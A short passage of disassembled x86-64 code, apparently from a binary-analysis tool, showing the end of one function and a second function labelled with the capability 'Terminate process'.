call fcn.18002f188
mov dword [rax], 5
call fcn.18002f168
mov dword [rax], recv
jmp 0x18002d156
xor eax, eax
add rsp, 0x30
pop rbx
ret

Function at 0x18002f028
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x18002ee9c